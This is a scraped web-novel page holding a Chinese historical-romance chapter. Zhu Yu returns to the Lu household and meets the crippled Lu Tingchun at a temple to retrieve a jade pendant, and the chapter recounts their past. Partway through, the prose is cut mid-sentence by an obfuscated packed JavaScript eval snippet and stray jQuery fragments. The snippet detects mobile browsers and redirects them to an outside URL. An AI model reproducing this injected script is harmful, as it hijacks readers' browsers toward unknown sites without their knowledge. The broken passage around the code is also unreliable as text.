默认冷灰
24号文字
方正启体

17. 故地重游

作者:扶阳明本书字数:K更新时间:
    陆府位于永州城西,家中有三子一女,长子陆庭春与陆英一母同胞,其父陆惟言妻妾不多,除正室娘子外另有妾室两人,各育有一子,陆英是家中小妹,长兄自伤残后离家静养,二哥三哥如今都在永州军中任职。


    祝余入府先去拜见了家主和大娘子陈氏,陆英的母亲执掌陆府多年,是个和善端庄的妇人,祝余刚被带回陆府时便是她悉心照料着,陆庭春出事后,她病了一阵,一直静养着,后来陆英被赐婚,才又四处走动打点上下。


    转过拐角,便是正厅,陆惟言与大娘子端坐其上,祝余一一行礼,道明此行来意后,陆惟言便有事离开,独留陈氏一人在堂上。


    将月跟在祝余身后,知道他是安平侯府的护卫,陈氏并未多言,只问些陆英在东宫的消息,祝余乖顺答话,气氛一时间有些说不上的古怪,将月察觉到这大娘子有话要单独与祝余说,便借口离开。


    他方走,陈氏便放下了手中茶盏,掀起眼皮,打量了祝余几眼,才说:“长钰如今在外静养,过几日你去寻他,取了物件便下山回府,不可多留。”


    长钰是陆庭春的表字,祝余饮茶的动作微微一滞,放下杯盏,起身答道:“是,令仪明白。”俯首低眉,一副十分乖巧的模样。


    陈氏盯着她低垂的脖颈,沉默片刻说:“去吧,府中已备好客房,早些歇息。”


    祝余低声谢过,便往外去,转过身还没走几步,又听见陈氏的声音。


    “许久没回来,在府中多住些时日,有什么想吃的吩咐厨房就是。”迟疑的嗓音响起,温和慈爱,言语中夹杂些许愧疚。


    祝余身形一顿,并未回头,挺直脊背婉拒:“东宫事忙,太子妃还等着我回京,就不多留了。”


    言罢径直出了正厅,方跨出门,便见将月抱剑立在一旁,祝余侧过头,低声道:“走吧。”将月颔首,静静地跟在她身后,往客房去。


    翌日一早,祝余便带着将月往永兴寺去,穿过曲折的街巷,一座拱桥贯通东西,连接着永州城东西两面街市,当地人喜食炙鸭,清风拂面,带来缕缕飘香,城中多戏台,路过时正有人登台,台前看官聚集,两侧的看台遮着布幔,里头坐着些不便露面的贵客。


    穿过热闹的街市,出了城,两人驾马而行,午后便到了永兴寺脚下。拴好马,两人拾级而上,将月落后祝余两步,去看山道两侧的红叶,漫山遍野,望之蔚然。祝余看见,便问他:“你是淮南人?”


    将月闻声回过头,仰面看向比他高几阶的祝余,笑着说:“记不清了,大约是吧,带星说,我长得像淮南人。”


    幼时离家,此后在风雨中颠簸,年岁久了,便有些记不清自己来自何方,只是方才望见着满山红叶时,觉着亲切,仿佛从前也见过。


    “二公子说,他是在回京路上遇到你和带星,那边靠近蜀地,说不定你是蜀地人呢。”祝余记得萧持钧当时说,将月和带星不似其他逃奴,身上有明显的异乡人特征,一举一动反而更像蜀地人,黄老汉见过他二人后,也略有同感。


    将月笑着摇摇头,“太久了,如今待在侯府便很好。”公子待他极好,这护卫做的比其他人家的轻松多了。


    “若是……往后不再留在侯府,到另一个地方去呢?”想起和萧持钧的约定,祝余笑了笑,“去个更加宽广,也更加自由的地方。”


    将月闻言乐了,双手抱胸,上前两步停在祝余身侧,顺着她的目光往山下望去,山脚下的村落和流水缩成点点弧线,极目远眺,目之所及还是山,连绵不绝挡住遥远天际。


    他渐渐收敛了神色,“那,想必公子一定很欢喜。”


    祝余望着远山,感受山间吹来的阵阵清风,远离了帝京,她心下安定不少,听着将月的话,收回目光,看了他一眼,“嗯”了一声,说:“他一直想回去的。”


    将月回过神,侧过头看着祝余,视角之下,能看见她的眼睫上下眨动的动作,他没有再多说,手搭上自己腰间佩剑,转身便往山上去:“走吧。”


    永兴寺坐落在山顶,香火极为兴盛,陆庭春今日听寺中主持讲经,直至午后方结束,因着祝余并未停留便上了山,陆府便未提前着人给他捎信,他回到在寺中的住所,挑了一册兵书,去后山的竹林中细细品读,特意吩咐了不必打扰。


    祝余和将月到时,寺中小僧将他们领至后院稍等,敲门通穿后便又小厮来请,进了院门,便听得小厮说家中并未提前告知,因此今日房中无人,已经着人去请了。不一会儿,便又有小厮来报,说是没在后山看见陆庭春,祝余和将月对视一眼,吩咐小厮前面带路,便往后山去寻人。


    永兴寺的后山阴凉非常,此时正逢深秋,一靠近后山便觉遍体生寒,祝余皱了皱眉,想起陆庭春的伤腿,一行人四散开来,钧未见到陆庭春的踪影,于是便往深处去。


    拨开乱糟糟的树枝,祝余望见一片竹林,正欲上前,她顿了顿,折返回去叫上将月,两人一同往竹林里去,地上落着些竹叶,踩上去沙沙作响,远远地看见竹林深处有一人坐在椅中。


    窸窸窣窣的声响,被陆庭春听见,误以为是前来寻他的小厮,他并未搭理,直到背后传来祝余清泠泠的嗓音:“郎君。”


    陆庭春一愣,手下意识捏紧了书卷,迟缓地自椅中回转过身,便望见不远处的祝余,他动了动唇,却没能说得出话来,直愣愣地盯着她看。


    将月微微皱眉,上前一步,微微挡住陆庭春的视线:“陆郎君,受太子妃所托,前来取一旧物。”


    陆庭春回过神,低垂着头,拢了拢书卷,双手拨动四轮车回转,面对着祝余,平静地望着她:“什么旧物?”


    祝余伸出手,轻轻拨开挡在她身前的将月,示意他回避,将月又看了陆庭春一眼,这才后退些守在不远处,祝余福身答话:“太子妃托我转告郎君,陆英有悔,向郎君取一桩陈年旧物。”


    陆庭春闻言皱起眉头,惊讶出声:“什么?”他有些难以置信,又握住了手中书卷,思量片刻,急声问道:“可是太子待她不好?”


    祝余一怔,并未回答,而是说:“此物重要,郎君可尽快交与我手。”言语间一直低着头,不去看陆庭春。


    玉佩之事,家中人并不知晓,那年小妹嫁入京中,临走前忧心家中有变,将玉佩交给他,说是贵人所赠,可解燃眉之急。


    如今却千里迢迢让令仪来取,想必是遇到了过不去的坎。


    他沉吟片刻,转动四轮车,“你跟我来。”朝着出口去。


    祝余跟在他身后,不逾过他半步,始终一言不发。将月瞧这两人古怪,目光在他们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467825|169840||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    之间流转,引得祝余侧过头瞥他一眼。


    他顿时收回目光,老老实实跟在祝余身侧。


    多年前,陈氏在陆庭春的书房意外发现一幅画像,是府中花园中,一女子的背影,挺拔瘦削,画卷边角有些卷翘,画幅中有被蹭动的痕迹,昭示着主人对它的喜爱,时常以手触碰。


    次日,大娘子着人来请祝余,祝余尚未进门,陆庭春便匆忙闯进院内要见母亲。


    母子俩大吵一架,不欢而散,自此以后祝余便再没见过大娘子的好脸色,她曾为此惴惴不安了很久,以为是大娘子得知了初见时她欺骗陆英的事,后来有一日,陆庭春来寻陆英,兄妹俩不知为何起了争执,祝余担心便近前去听,这才得知那画卷之事。


    大娘子视长子陆庭春为眼珠子一般,早已为他谋划将来的婚事,在书房中翻出那意味不明的画卷,一时气愤,便发作了祝余,却不对外透露半分,只说是她触了大娘子的霉头。


    陆庭春那日喝了些酒,一气之下便将事情和盘托出,陆英大怒,斥责他软弱自私,不敢担责,害得祝余平白受罪。


    待陆庭春走后,得到消息的大娘子再次传唤祝余,陆英与她同去,正院的厅堂上,大娘子屏退了所有下人,宣布从今往后祝余将不再享有任何优待,一应用度照着陆英身边的女婢来,随侍陆英起居。


    陆英反对无果,此后祝余便成了陆英的女婢,不再与陆庭春见面。


    赐婚后,陆英便执意要带她上京,祝余欣然应允,离府前夜,陆庭春哀求陆英,见了她最后一面,吐露真情,恳请她留下。


    陆庭春至今还记得她那夜说过的话,那些毫不留情的字句。


    她说,她对自己从未有过半分情意,一切都是自己的一厢情愿。


    “郎君君子之姿,自会有淑女良配,令仪虽寄人篱下,但不愿为权所迫,委身与不爱之人。”


    “若郎君执意为难,令仪愿禀明大娘子,即刻离府,日后与陆府再无瓜葛。”


    言毕跪地一拜,求他宽宥。


    翌日陆英上京,她随侍左右,送别之际,大娘子拉着陆英的手不放,到时辰了,祝余上前去劝,陈氏松了握住陆英的手,执起祝余的手,握了握,那时她比如今年轻些,鬓间钗环盈盈,喉间嗫嚅说不出什么来,眼眶红红地拍了拍祝余的手,说:去吧,好孩子。


    祝余福身一拜,俯首间鼻尖一酸,涌出泪来,陈氏曾经是她在这世上的第二个母亲,她依赖她,爱重她,最后却因一幅画生了嫌隙,不得不分离。


    -


    陆庭春将玉佩递过来,祝余并未伸手去拿,将月很有眼色地将玉佩收入囊中。三人就此别过,陆庭春说不出挽留的话,静静地看着她离去,膝上还放着那卷兵书。


    永兴寺的钟鸣声响起,黄昏已至,落霞满天,陆庭春枯坐在院中。


    出了后院,祝余接过将月递来的玉佩,两人穿过正殿,便往下山的山道去,转过拐角,一人迎面而来撞上祝余,祝余下意识伸手接住她,“姑娘当心!”


    却在来人抬起头时呆愣在原地。


    对面一双瞪圆的杏眼,受了惊之后薄唇微张,高耸的流苏髻,两侧垂挂着珠串发饰,这是蒙烟最爱的发式。


    祝余眨了眨眼,鼻头酸胀,下一刻便落下泪来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)